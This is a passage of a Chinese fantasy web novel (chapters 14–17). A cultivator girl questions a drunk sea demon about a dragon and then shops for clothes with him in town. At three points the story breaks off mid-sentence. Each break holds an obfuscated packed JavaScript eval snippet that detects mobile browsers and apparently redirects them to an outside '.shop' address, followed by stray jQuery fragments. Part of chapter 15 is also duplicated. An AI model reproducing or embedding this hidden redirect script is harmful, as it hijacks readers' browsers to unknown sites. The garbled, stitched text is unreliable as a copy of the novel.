希微学着她,也试着用筷子去夹海棠菇,他不会用筷子,但失败了几次就学会了,遂开心地一口吃掉了夹上来的蘑菇。
他吃东西根本不嚼,品出了味道,直接就吞了,因此也不耽误他说话,立刻接口问:“所以到底是什么意思,为什么会影响我修行?”
“就是……假如两个人很喜欢彼此,就会缔结一个永不分离的终身约定。”叶尘音只好再给他普及常识,“这就是人们说的‘婚姻’。缔结这个约定还需要一个特殊的仪式,就是所谓的‘拜堂’。至于影响你修行什么的,只是个玩笑,不用管它。”
她也是头一回给一个异性科普什么叫拜堂,一番话说完,后知后觉地有点尴尬,赶紧夹了一筷子玫瑰肉放在嘴里嚼,以此遮掩。
再一看,希微又跟着她夹了一筷子……合着是她吃什么菜,希微才跟着吃什么。
叶尘音嘴角抽了抽。希微之前是说过不吃人族的东西,但后来也喝了她做的汤,她还以为这位挑嘴的毛病已经不药而愈了。
现在看来还没治好,他对人族食物依然保持着高度的警戒心。
也行吧,不影响什么,叶尘音继续说道:“不过这个问题本身不重要。我是想说,不要当着旁人的面问我这些常识……好吧,如果你不知道哪些算是常识,那有别人在的时候就别问我任何问题,等没人了再问我,这样行吗?”
希微点了下头,没说话,又吃了一块海棠菇,这是他已经确认安全的食物。
“那好,现在有什么你都可以问了。”
希微又摇摇头,瞟了门口一眼:有别人在。
咦?
叶尘音也转头看向门口,果然很快响起敲门声:“两位小仙长?”
是刚才那个侍者,“进来吧。”
门慢悠悠地被推开了一条缝,先是露出了侍者笑容可掬的脸,脸边上不知为什么还镀了一圈光。他闪闪发亮地朝他们笑笑,侧身让开了,露出了背后的光源。
后头那一位瑞光千条地登了场,叶尘音一眼看去,觉得没看见人,只看到了一盏辉煌的大灯,珍珠宝石的光芒过于耀眼,连来者是男是女她都看不清。
侍者适时介绍道:“这是我们万方行舍的东家。”
“两位仙长降临,敝舍蓬荜生辉,”这“灯”文质彬彬地开了腔,总算让叶尘音听明白了,这是个中年男灯,“不敢以凡俗之物污仙长清修,只得奉上些许酒水,作为小人的一点心意……”
万丈光芒里于是又推出了一个小推车,三排好酒码在上头,一露面就酒香扑鼻。
叶尘音在酒这方面虽然没有什么认识,但打眼一看,光是酒具就不容小觑:什么琉璃雕琢的酒壶、老木根掏的酒杯、红玉碾就的酒盏……这般讲究,肯定也不能拿来喝些什么凡物。
“不值什么,聊表心意,万望小仙长收下。”东家一笑,露出了一嘴金牙,从青铜灯升级成了琉璃灯,“此乃鹤觞酒,醇厚香美;桑落酒,绵甜清香;这流仙露乃是南边宫廷的御酒,还有这坛雪芦春,传说饮之可以通鬼神……”
希微忽然截口问,“雪芦春?”
这一声近乎森冷,叶尘音心脏骤然一跳。
14. 前尘事
“小仙长好眼力,这是雪芦州的名酒!”东家还以为希微喜欢这个,笑得越发殷勤起来,“这些年南北往来不容易,北边的好货越来越贵了,这一小坛就值五两白银。能得仙长青眼,别说五两,百两白银也使得,小仙长若喜欢,小人这就……”
他抱着坛子趋前几步,叶尘音赶紧叫停,“你站下!”
她就不明白了,这倒霉的东家既然开了旅舍,也该是常年迎来送往的,怎么这么不会看人的眼色——看希微那眼神,是“有兴趣”那意思吗,他都把“离我远点”几个字挂脸上了!
“他不喜欢雪芦春。”叶尘音恐怕妖怪被惹毛了她拉不住,笑着打圆场,“但东家盛情,却之不恭。有没有不大醉人的酒,给他一瓶就行了,反正他也喝不明白。”
她说着又瞄了希微一眼。缭绕的酒香里,希微再一次紧绷起来,手背上几乎露出了青筋。
唉,又应激了。
“有,有!”东家看她肯收,笑得更灿烂了,奉上了两个白玉酒壶,“这流仙露是不醉人的,清甜沁凉,喝多少都不要紧。小仙长尝一尝,倘若觉得好喝,小人舍下还收藏了几坛,一并送来!”
他马不停蹄地斟上了两杯,叶尘音抿了一口,感觉确实甘甜不易醉,能喝。
她就扭头问希微,“我看这个你能喝。你试试吗?我已经尝过了。”
希微整个人仍然维持着戒备,眼神却软化了两分,点点头。
于是他们这一桌丰盛的佳肴上,又多了两个玉壶和一套酒杯。
叶尘音和东家又客套了几句,好不容易在希微忍无可忍之前把东家送走了,这才腾出手,揉了揉被晃花的眼睛。
希微问:“他为什么要给我们送酒?”
好,一上来就问出了关键问题,孺子可教。
“他以为我们是出来游历的仙人。”叶尘音给他讲解自己的伪装方案,“你知道的,凡人对仙人一向很向往,这个身份虽说有点引人注目,但也不是没有好处。其一,就是能解释我们身上的许多特别之……哎,那是我的杯子!”
她的语速没赶上希微的手速,眼睁睁看着希微伸手拿走了她刚喝过的玉酒杯,一口把杯里的残酒全喝空了。
“哦,”希微又把杯子往她眼前一递,“那还给你。”
“……不用了,”叶尘音默默地端起了另一个玉杯,“现在它是你的杯子了。”
那杯子是能随便换着用的吗,像话吗?
流仙露的确可口,不像雪芦春那刀子似的口感,希微很快就喝上了第二杯。他还没忘了刚才没说完的话,追问,“第二呢?”
“第二就是,这个身份能让人敬畏。”叶尘音说,“不会有人敢来随便欺负我们。”
希微反常地没应她,沉默片刻,忽然问,“你们人连自己的同类也欺负吗?”
“嗯?”
“我以为你们只是欺负妖怪。”
叶尘音轻轻地笑了一声。
“人和人之间能不互相欺凌,那是我们先贤幻想的一种美好境界。”她说,“别说是欺负了,如今,北方还有一群人拿着刀剑利器,在杀另一群人呢。人与人之间的战争,会打得血流遍野、白骨如山,许多人流离失所……并不比你们这样的大妖相杀要好多少。”
希微道:“你说过,你也遇到过战乱,流浪了很久。”
“是啊。”叶尘音无所谓地说道,“那时候我还小呢,才十岁。从博月州一路过来,看着可好欺负了,谁都能揉搓一把。逃出来没多久,身上的钱和干粮就都被流民抢得差不多了。还有动别的坏心思的……”
有一晚忽然下了大雨,天气飞快地冷下来,她遇上了一个慈眉善目的大婶。大婶看她被雨浇透了,脸色青白瑟瑟发抖,带她去了一座废弃的小屋里,叫她在这里住一夜。
迷迷糊糊地睡到半夜,她一睁眼,看见了两张鬼影似的男人的脸。
幸亏这是间小猎屋,满是灰尘的榻下有把长刀——几乎和她的人差不多长,她一把抽出来,砍死了一个,砍伤了另外一个,拖着满身的血,跌跌撞撞地跑进了夜雨里。
第二天,她远远地看见了给她指路的大婶,流着泪正把两具尸体拖出来。
那刀从此成了她的宝贝,一个孤女好欺负,可抱着一把大刀,敢来招惹她的人就少多了。虽说对方人多势众的时候她还是难免吃亏,但起码大部分情况下,她还能保住挖回来的野菜野草什么的。
也有女人、甚至老婆婆和她结伴走,和她组成“老弱妇孺”团体。别看她现在是个菜鸡凡人,那时候还是这帮老弱妇孺们的主心骨呢,她抱着刀走在最前面,其他流民们见了这刀,都远远地躲着,不敢来招惹她们。
“那刀呢?”
叶尘音笑了笑,“卖掉了。”
希微睁大了眼睛,用瞳孔来表达:这也能卖?
“没办法……为了救人嘛。”
叶尘音低头扒了两口饭。要是能从头来过……好吧,她还是会卖了那把刀去救孟景,但一定会和孟景交换点别的,换点钱换个身份换件仙器,反正不会再和他订什么见鬼的婚约!
希微看她神色郁郁,想了想,打了个响指。
玉杯中的酒随即浮起了一个笑脸,丑兮兮的,很不聪明。
叶尘音“噗嗤”一声笑了出来,一口把这个笑脸喝掉了——真难为他了,一直记着她画的最丑的这张笑脸,记着就记着吧,还非得一模一样地复原,也不说给她艺术加工一下。
不过不得不说,她心情是好多了。
她就开始和希微闲扯,留了个心眼,只说自己幼年时和流浪时候的经历,不提孟景和北昆仑。说着,还故意在话里留了几个口子,说自己遇上过什么年幼的精怪,多有趣多可爱;说自己一路走来见到人族种种民间信仰,如何千奇百怪,等等。
她提这些,是想让希微接两句话,她好顺着转移话题,问问希微的前尘过往,再想法引导他和她说说那大青龙的事。
可惜希微没接她的话茬,甚至他什么都没说,叶尘音说话的时候,他就呆呆地撑着下巴,看着她。
他喝了酒,一向雪白的脸上蒸出了稀薄的血色,看上去没那么妖异,有点像个人了。
叶尘音试探着叫,“希微?”
希微煞有介事地点了下头,“嗯。”
“你有在听我说话吗?”
“没有。”
“……”
不是,他这是喝醉了吗?
叶尘音张开五指,在他眼前晃了晃,“还记得我是谁吗?”
“记得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541723|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,”他直勾勾地望着她,慢慢说,“你是叶尘音。”
好,果然是醉了,不然肯定不会老实回答,顶多甩给她一个白眼。
海里的妖怪这么容易醉吗,难怪醉鱼醉蟹什么的都是名菜……
叶尘音眼珠一转,决定不和他绕弯子了,直接点,换个切入点。她朝希微笑了笑,站起身,缓缓走到饭厅里供奉的那青龙神像前。
威严的青龙神像直视着她,黑面青袍,头生双角,目光如电。缭绕的烟气把它衬托得格外庄重,全然是个天生的神明。
叶尘音装作打量的样子,把话在心里掂量了一阵,才道:“好特别的神像。我在其他地方都没见过,是这里才有的神明吗?”
“不是神明,”希微漫不在意地说道,“是妖怪。”
他果然认识那条大青龙!
叶尘音下意识地朝希微望去。他根本没意识到自己已经醉了,还在给自己倒酒。流仙露循着下颌线流落,浸湿了透白的衣裳,锁骨越发峭丽,几如山雪将融。
叶尘音只看了一眼就收回了视线,平息下怦怦的心跳,继续试探,“妖怪?”
“嗯,和我一样……是海上的大妖怪。”
和希微一样——好,她还低估了希微。
“长角的海上妖怪……难道是龙?”
“是条青色的老妖龙。”喝醉了的希微好说话多了,有问必答,“我认识的小海妖们都很怕它,所有妖怪都很怕它……只有你们人族不怕。”
也不知道他是从哪看出人族不怕的,人族明明也很怕!
“哦,那难怪会有这么多凡人信徒,”叶尘音做出惊喜的样子,“龙在我们人看来是再吉祥不过的了。它在哪里,我们回去的时候能顺道去看看吗?”
“吉祥?”希微好像模糊地笑了一声,“有用的东西,你们都觉得吉祥吗?”
叶尘音被他说得一愣,不知道他什么意思。
“别想了。”希微懒懒地说道,“你见不到它,谁都见不到它。”
话题开始渐渐地上了正轨,叶尘音试探着又问,“为什么?”
这次希微没有回答。流仙露入口虽然甜,但后劲绵长,他已经越来越不清醒了。勉强被叶尘音拉回的神智再一次涣散,他再次注意到了叶尘音一张一合的嘴唇,花瓣似的,还沾了酒液,好像和了蜜的露水。
一定很好吃,希微迷迷糊糊地想。
当初,他为什么没有吃掉她呢?
夜已经深了,叶尘音洗漱完,一头栽进旅舍的床上。
她摸了摸自己的下巴,米粒大的两个伤口倒是愈合了,不过还能摸到血痂,也不知道明天早上能不能好。
死妖怪,怕不是属狗的?
她发愁地翻了个身,抱着被子,心里忧虑起来——她趁着希微喝醉的机会从他嘴里套妖龙的消息,希微有问必答,前前后后说了许多,但总结起来就是“躲它远点,别打主意”。
后来她看希微真醉了,想把他挪进去睡觉,哪知道她才刚靠过去,希微忽然一探头,一口咬在了她下巴上!
牙挺尖,一下就给她咬破了皮,死妖怪还抽了口气,捂着嘴抱怨地看她,“好痛。”
……咬着了她下颌骨,还嫌硌牙?
她这被咬的还没说痛呢!
15. 流浪儿
夜已经深了,叶尘音洗漱完,一头栽进旅舍的床上。
她摸了摸自己的下巴,米粒大的两个伤口倒是愈合了,不过还能摸到血痂,也不知道明天早上能不能好。
死妖怪,怕不是属狗的?
她发愁地翻了个身,抱着被子,心里忧虑起来——她趁着希微喝醉的机会从他嘴里套妖龙的消息,希微有问必答,前前后后说了许多,但总结起来就是“躲它远点,别打主意”。
后来她看希微真醉了,想把他挪进去睡觉,哪知道她才刚靠过去,希微忽然一探头,一口咬在了她下巴上!
牙挺尖,一下就给她咬破了皮,死妖怪还抽了口气,捂着嘴抱怨地看她,“好痛。”
……咬着了她下颌骨,还嫌硌牙?
她这被咬的还没说痛呢!
叶尘音又惊又气,隐约还觉得有点好笑,半推半拽地把他弄进了寝室,让他滚去睡觉。
她本来还有点担心死妖怪继续发酒疯,还好,他除了咬了她一口以外没再做出什么惊人之举。一沾枕头,他就睡着了,安静下来睡觉的样子,倒显得温顺乖巧起来。
叶尘音丢他去睡觉的时候还觉得好气又好笑,但等自己也躺到了床上,灯火熄了大半的时候,在朦胧的烛光里,她才忽然有些后怕。
好端端的,希微为什么忽然咬她一口?
她套消息的时候虽说也给自己找了合适的借口,到底是居心不良。希微有些时候是很好忽悠,但那只是因为他不懂人情世故,又愿意尊重她的生活习惯,不是因为他傻。
正相反,他在“猎妖”这个话题上相当敏锐,他是不是在醉中也隐约感觉到了什么,才会冷不丁地咬她一下?
生出戒备心的希微简直是个大杀器,他明天醒来以后,不会和她翻脸吧?
叶尘音焦躁地又翻了个身,虽然焦虑,但她也不后悔——这是最好的一个打探妖龙消息的机会,她要是错过了,那才该追悔莫及。
妖龙骨是昆仑典籍里唯一一样能让她修行的东西,除了迎难而上,她根本别无选择。
那怎么办呢?叶尘音在心里盘算,首先得先想好,明早希微要是和她翻脸,她该怎么应付。其实也不难,希微不是不讲道理的妖怪,顶多再来一回妖术禁制,叫她说真话。
反正她今天说的“只有南乡州有青龙神,别的地方没见过”不是假话,“龙是祥瑞”什么的也一点不假,有这两条,她的“好奇”就站得住脚,希微会相信的。
倒是怎么对付大青龙,这是个问题。
叶尘音在心里琢磨:今天听希微言下之意,他和那大青龙显然是认识的。他说“谁也见不到它”,说明他肯定知道大青龙在哪,说不定是个和他那海岛差不多的洞天福地。
大青龙所在之处能慢慢从希微嘴里磨出来,但该怎么对付大青龙,又是个难题。
叶尘音出神地望着帐顶,心想:她认识的所有人里,除了希微这妖怪以外,最能打的也就是孟景了。就算希微和那大青龙关系不怎么样,指望希微去给她取妖龙骨,那差不多就是踩着他的头跳舞,倒可能先把自己玩死。
倒是孟景……北昆仑虽然没人觉得她配得上孟景,但不管怎么说,为了山主的女儿,抛下有多年情谊的未婚妻,这也不是什么好名声。
这婚总是要退的,但谁来退却不一样。要是她主动退婚能换来妖龙骨,岂不是大赚一笔?
倘若孟景打不过那大青龙,被妖龙一口吃了……嗯,那也算是妖龙给她出了口气。
怎么算她都不亏,莫非这就叫“庄家通吃”?
“什么‘通吃’,我再也不吃你们人族的东西了,”希微一脸痛苦地揉着额头,怨气冲天地说道,“你说得对,那人确实又装又假,是个骗子。”
叶尘音哭笑不得地转过头。她不转头还好,希微一看见她的脸色,就紧张兮兮地在她眼下一戳,“你这里也黑了。那个‘流仙露’和‘雪芦春’一样,都不是好东西。”
叶尘音:“……”
这关流仙露什么事,这是她昨晚通宵琢磨怎么对付大青龙熬出的黑眼圈……
“雪芦春确实是烈酒,容易喝醉,可流仙露不是啊。”叶尘音发现希微已经把昨天醉后的事忘干净了,一颗心放了下来,笑说,“你只是酒量不行。多喝几次,就没那么容易醉了。”
“酒,”希微重复了一遍,“我讨厌这个东西。”
叶尘音默默把这件事记了下来,并从自己的采购清单里划掉了“酒”这一项——那海岛上的虾和蟹都活蹦乱跳的,她本来还想做点醉虾醉蟹来着,可惜了。
“那你呢?”希微还没有放弃怀疑,坚持问道,“你眼睛为什么青了?”
叶尘音随口搪塞他:“没什么,第一次住这家旅舍,没睡好。回岛上睡一觉就好了……走吧。”
她安抚住了不乐意付钱的希微,结账的时候,顺道找侍者问路。侍者一个字不敢错地听完,才笑道:“小仙长想请工匠,这个好说。咱们城北有一条‘机巧街’,工匠们大多都在那边开铺子,也有通晓些仙家器道的。至于日常用具,东边海港上什么都齐全……”
话说到一半,忽听见门外起了争执声,叶尘音朝门外望去。
外头万方行舍的护院们正在驱赶几个衣衫褴褛的流民,流民里有男有女,还有个看着年龄只有个位数的小孩,坐在一个老大的囊箧上,被一个少年护在身后,满脸病态的红,有气无力地哭。
为首的是个四十来岁的妇人——也可能二三十岁,流民的年纪不好认——连连作揖,却连完整的一句话也说不上来。
一个护院就说:“东家看你一个妇人家,还带着孩子,可怜你,才睁一眼闭一眼,容你们在马厩里赖一晚上。你不见我们那马厩里都是贵人的马么?万一让你们惊着了,别说马了,把你们几个论斤卖了,都不够值一个马镫子!”
“实在是情非得已,”那妇人沙哑地说道,“这孩子受了风寒……”
“风寒怎么了,风寒就去求医啊!”护院不耐烦了,挥了挥棒子,“没听见吗,我们东家收留你们一晚上,那都是冒了得罪贵客的风险。无亲无故的,凭什么你们着了风寒,我们东家就得因为你们,接着冒这个险?赶紧着快走,不然,可就真不客气了!”
妇人咬咬牙,情知和几个护院费口舌也是无用功,本想走,但看看那少年怀里的孩子,就走不动了,目光在四下里搜寻着,盼着能有人来给她们说句话。
没人理会,南乡州天天都能看见流民,天天都有地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546948|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方在驱逐流民,大家早见怪不怪了。
甚至还有几个衣冠楚楚的人皱了皱眉,“又来咯,赶也赶不完的啦,好晦气!”
“快走快走,堵在门口,算个什么事?”
“哦哟,这不是还有这么大的一包行李么?变卖了,也就有瞧医师的钱啦!”
妇人脸上仅存的一点期盼之色也荡然无存了,她抹了一把脸,抱起那孩子,步履蹒跚地往外走。少年怨恨地往大堂里看了几眼,背起行囊追上去,远远地就听见一个雌雄莫辨的少年声说道:“娘,要么还是……小弟的病……”
妇人好似已经无力说话了,叶尘音远远望着,只隐约看见她摇了摇头。
“唉,给两位小仙长添烦扰了,”侍者赔着笑说道,“世道不太平呢,总有从北边过来的人往南乡州跑。不过再怎么样,咱们南乡州都乱不起来;就算真乱起来了,两位都是有大神通的,也不怕。”
叶尘音回过神来,笑了笑——也对,她现在不是朝不保夕的流民了。
两人在旅舍里耽搁了一会,出来的时候,天已经大亮了。什么糖水铺子、零嘴铺子,都欣欣向荣地开了张,卖衣服首饰的也挂上了揽客的旗幡。
“我要去买几身换洗衣服。”叶尘音指着那“织云记”的旗子说道,“等换了衣服,咱们去城北找泥瓦匠,再去码头置办别的东西,然后坐船回海岛。你说呢?”
说好了一切听她安排,只要不让他再在南乡州吃饭,希微就没有意见。
织云记规模不小,既卖衣裳也卖首饰,一大清早,店里的客人就不少。迎客的妇人笑吟吟将他们引进来,介绍了一通“今春新品”、“限量发售”,叶尘音知道希微怕吵,打发了她们,自己在一堆衣架之间挑挑拣拣。
那精工细绣的广袖华服她倒是很喜欢,但不方便她在海岛上行动,只得遗憾放弃,还是得选些轻便的衣裳。阳春时节,鹅黄、水绿都应景,快夏天了,冰蓝、浅紫也可以穿起来。
她选定了几套衣物,最后换上了一身水绿色的间裙,裙摆不长,衣袖也窄,配色却十分鲜亮,既美貌,也不绊手绊脚。
叶尘音十分满意。但对这身装扮满意的显然不止她一个人,她一掀帘子出来,织云记里好几个年轻公子眼睛都亮了,不自觉地向她靠拢,企图上来搭讪。
反而是希微慢了半拍——他在人间过了一晚,虽然昨晚意外喝醉了,但到底没出什么事,到了今天,已经没那么紧张了。他又没有买衣服的打算,就一个人在更衣室外面等。
谁知道姑娘们路过时无不多看他两眼,弄得他如坐针毡,恨不得等叶尘音一出来,就立刻拉上她,逃离这个是非之地。
结果叶尘音真的出来时,他反倒不动了,还是叶尘音径直走到他面前,转了一圈,笑问:“好看吗?”
不管是公子还是姑娘,靠拢过来的脚步都停住了,眼神却没停,还在一眼一眼地往这边瞟。
希微几乎能感觉到四周所有的目光,像细刺似的扎在身上,不知怎么的,扎得他比刚才还不痛快。
“很好看。”他真诚地赞美她,“你也等我一会?”
“怎么了?”
希微随手指了一件“限量发售”的“今春新品”,“我也要换衣服。”
16. 春衫薄
叶尘音第十八次抬起头,去看天上的日影。
他们从万方行舍出来的时候还是清晨,她买衣服也就花了两刻钟不到的工夫,而此刻太阳渐渐向头顶移去,转眼间,上午已经过去了一多半。
希微管这个叫“一会”吗,用她们人族的语言来说,这起码得叫“半天”吧?
难道长生种的时间尺度和她不一样?
希微不知道是担心她的安全还是怎样,离开之前又给她下了个禁制,偌大一个织云记,没人能靠近她三尺之内——确实挡住了那些蠢蠢欲动想来撩她的年轻公子,但其他人也一概不能接近,她想找人聊个天、问个话都不行。
从前在北昆仑等孟景大半天倒也没什么,那时候她的时间一点不值钱。可现在不一样啊!
她还得去机巧街,得去找匠人帮她切割灵元,得去港口上采买……许许多多的事排着队在等她,哪有这么多闲工夫?
叶尘音起身走到更衣室门口,敲敲墙,“希微?”
希微很快答应了她一声。
“我进去了?”
“唔……”他不大情愿地迟疑片刻,妥协了,“你进来吧。”
叶尘音掀开帘子,看到希微站在镜子前,换了一身和她同色的水绿华服。
这是织云记新出的衣样子,模仿的是昆仑仙衣,刚才外面也不是没人穿过。可一模一样的衣裳,妖怪穿着,和俗人就不是一个味。俗人穿只能看出来这是在效颦,希微穿着,别人就都得来效他,如春覆雪,清艳绝伦。
侍者还在玩命地给他推销,束玉冠,戴翠环,从项圈到手环脚链一个不落,力图将他打扮成一座伽蓝七宝树。总之环佩叮当,晴光辉煌,瑰丽得近乎妖异。
叶尘音头一次见到妖怪这么个装扮,下意识地又眨了一下眼。
打扮他的侍者对自己的作品显见得异常满意,好话不要钱似的往外撒,恨不能立刻将他拖出去,树在织云记门口当招牌使。希微却一直蹙着眉,看着不太乐意。
他不乐意也不说一声,直到叶尘音来了,他才问:“是不是不好看?”
“哪有?很好看。”叶尘音发自肺腑地赞赏道,“和你平时的样子不太一样。怎么了,你自己不喜欢吗?”
“和你站在一起,好像有点奇怪。”
叶尘音沉默片刻,“你忽然想换衣服,是为了配我?”
希微坦然地点头。
叶尘音一时间心情复杂——她长年为孟景梳妆,知道“有人愿意为了你打扮自己”是一种特权。今天希微第一次给了她这个特权,他还是个素来不拘小节的妖怪,她竟然有点受宠若惊。
虽然她知道他不是那个意思。
既然盛情如此,那她就配合一下。
叶尘音来到镜前,无视了旁边侍者幽怨的眼神,给他把这一身的首饰一件一件往下取。她摘一件,希微伸手接住一件,没一会,希微手里捧着的小首饰们就堆得冒了尖。
最后,她解下了侍者挂在希微耳上的绿玉玦,也不知道是怎么戴上去的,夹得格外牢靠,她花了一点时间,才给他弄下来。
摘耳玦的时候她靠得近,鸦黑的长发随着她的呼吸一荡一荡,白到近乎透明的耳尖被玉玦夹久了,甚至还露出了一点红色。
叶尘音退开两步,若无其事地望向镜面。
发簪佩环都解下来了,她只留了个碧玉项圈。他这身衣裳衣领开得大了些,露出了半截锁骨,项圈绿莹莹的挂上去,正好合适。
她刚才在外面其实也看到那玉项圈了,十几银的便宜货色,她也没觉得多好看。但戴在希微颈间,居然就莫名其妙地好看起来了,好似镀着一层价值连城的柔光。
希微还捧着那堆小首饰,叶尘音虽然都给他摘掉了,但他非要拿在手里不放下,看着还是不太舍得。
叶尘音算是发现了,他真的喜欢各种亮晶晶的东西——不管是这些凡俗的首饰们,还是那海底溶洞里不俗的各种天材地宝,总之但凡是个亮闪闪的,就能激起他的收集欲望。
她提议,“那我们买回去,收着慢慢戴?”
希微“嗯”了声,企图把她刚刚摘下来的绿玉耳玦怼到她耳朵上。他自己身上能插戴的空间是有限,但这不是还有一个人吗?
叶尘音躲开了他作乱的手,迟疑片刻。她本来想着这几天事恐怕多,回到海岛上她也得经常劳作,首饰和漂亮的大衣裳怕会碍她的事。但是吧……看看镜子里的希微,再看看自己,她要是不戴点什么,站在一起,是不协调。
谁不喜欢好看的衣服首饰呢?就算买上几件,平时活动的时候,她不穿就是了。
叶尘音很快就说服了自己,她说道:“那你再等我一会儿。”
……最后两人一起走出织云记的时候,午饭的时间都已经过了。
叶尘音拎着裙角走在路上,她现在这身行头和“轻松简便”可以说是毫不相干,外边不光加了一件素白的大袖衫,甚至还配了披帛,簪环佩饰在阳光下闪着碎光。
希微刚刚靠脸碾压了织云记里一帮子想往叶尘音身边凑的年轻公子,幼稚的胜负心歇了,人群恐惧症卷土重来,跟在叶尘音身边,半步都不分开。
叶尘音无语凝噎。
他俩现在算是彻底穿上了同款,衣着和脸都出挑,街上的路人十个里有八个要回头看他们。希微还紧跟着她,妖怪对“社交礼貌距离”这类的事是一点都不讲究,导致十个人里有十个都盯着他们看。
而且每个人的眼神都差不多,简单提炼一下,就是:“哟,好一对谢女檀郎!”
……我们其实是掠食者和猎物的关系,叶尘音戚戚然地想。
但没有人能听到她的心声,人们依旧向他们投来或羡慕、或调侃的眼神。
叶尘音侧过头又看了希微一眼。不止是这一身,希微照着她挑的那些衣服,每一件都买了一身同款,可想而知以后在海岛上,他们每天也依然会打扮得如此“般配”。
想穿成什么样当然是他的自由,但是……
叶尘音试探着问,“你为什么和我买一样的衣服?”
“不为什么,”希微理所当然地说道,“我想。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551941|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“……你知道穿同款衣服是什么意思吗?你应该不知道吧。”
“我知道。”希微道,“表示我们是从同一个地方来的。”
“……”
也不能说不对,比如昆仑师门制服可不就是这个意思吗……
反正买都买了,再跟妖怪掰扯这些也没必要,叶尘音没再说话。她顶着一路的注目礼赶路,渐渐地,看他们的人少了,她往两边一看,见不远处是一所歌楼。
三尺红台上歌舞伎翩翩起舞,一排漂亮的少年人,旋舞起来连春光都失色,自然引走了往来路人的目光。叶尘音路过的时候,也忍不住驻足,在台下看了一会。
希微跟着她,她走就走,她停就停,看她在往歌台上张望,他也跟着看。看了一会,不明所以,问:“他们为什么跳舞?”
“哦,这是他们的生计。”叶尘音正目不转睛地欣赏舞蹈,随口解释道,“他们是这里豢养的伶人,每天在这里跳舞吸引宾客,主人家会给他们报酬……唔,这跳的是送春的花神舞,原本是仙人的舞蹈呢。”
希微听得一知半解,只得思考什么是“灵人”——肉体凡胎叫凡人,凡与灵相对,那“灵人”也许就是仙人的另一种叫法吧,人族老是喜欢用一大堆不一样的词描述同一件事。但为什么要“换养”,又为什么要“报仇”,还没有想明白。
一片叫好声又打断了他的思索,领舞的伶人不知从哪儿变出了一枝海棠花,以花为剑,急速地几个回旋,往后一折腰。花美,人更美,海棠花瓣飘飘摇摇地落在人面上,好似一场盛大的花雨。
叶尘音跟着也喝了声彩,感觉这舞蹈对她的眼睛十分友好!
她用力鼓掌,希微听在耳朵里,忽然心里就浮上来一阵微妙的不舒服。
这股子不舒服也不是凭空而生的,在织云记里的时候,叶尘音换上了春装,许多人的视线投向她的时候,它就隐隐存在了。只不过当时他还能把它忽略掉,现在却终于浮上了水面,张牙舞爪地硌在那里,像海蚌壳里揉进的一粒小石子。
他往歌台上又看了一眼:什么“灵人”,压根没有一点灵气,只是凡人而已。
歌也很一般,不如鲛人;舞跳得也不怎么样,随便抓条小海蛇来扭一扭都比他们强。
“我也会跳舞,”他忽然脱口说道,“他们跳得好难看。”
叶尘音扭头看他,头顶上缓缓浮现出一个问号。
大妖怪和歌舞伎较什么劲,难不成是嫌她站在这里看太久了?
那行吧。
“你不喜欢?”叶尘音道,“那我们走吧。其实他们跳得也还算可以啦,虽说和正经仙人跳的舞不能比,但模仿得也是很像模像样的了,挺难得的。”
是难得,他们站在这看了一会,外面就已经又围了三层人。叶尘音怕失散,隔着衣袖握住了希微的手腕,准备从人群中挤出去。
希微却没动,执拗地说道:“我跳得更好。”
叶尘音:“……”
完了,她一向都觉得希微很好懂,这会儿竟然没弄明白他的意思!
17. 矫龙舞
叶尘音停顿了一会儿,没说话,在心里琢磨着希微到底想干什么。
妖怪这个种族大概是打小没学过看人脸色,希微看她没反应,居然以为她默认了,遂挣开了她的手,当真往歌台的方向而去。
他们来得早,前面本来就没有多少人,希微又自带一种拒人于千里之外的气质,前面的人都纷纷给他让开了路,以至于他就这么畅通无阻地抵达了歌台之下。
叶尘音赶紧追上去,一把薅住希微,深恨自己缺了根绳。
“算我求你了,”她小声说,一边说一边生拉硬拽着希微往外走,“你别告诉我,你真的想上去跳舞?”
“我跳舞比他们都好。”
这重要吗!
叶尘音一肚子的无奈,都不知道从哪开始说好,只得直截了当地拒绝道:“别去,太显眼了。今天咱们出来是为了请工匠和采买,别的事都不重要。”
她看希微点头了,才疑惑地问,“你不是不太喜欢人族吗?台上众目睽……台上有那么多人看着,你怎么会想到要上去跳舞?我以为你不会喜欢这么多人看你。”
希微平静地回答道:“我是不喜欢。”
“那是为什么?”
这次希微没回答。
好吧,也许是妖怪对“跳舞”有什么特殊的情结。
叶尘音充分地吸取了原先一句玩笑就能踩中逆鳞的教训,希微不想说的事,她就绝不追问,只回过头朝歌台的方向又望了一眼。
有希微在,他们走得也很顺利,已经远离了歌楼外的人群。歌楼的这一边是条格外僻静的小巷子,四下无人,只有歌楼的人声与乐声,隔着墙壁袅袅传来。
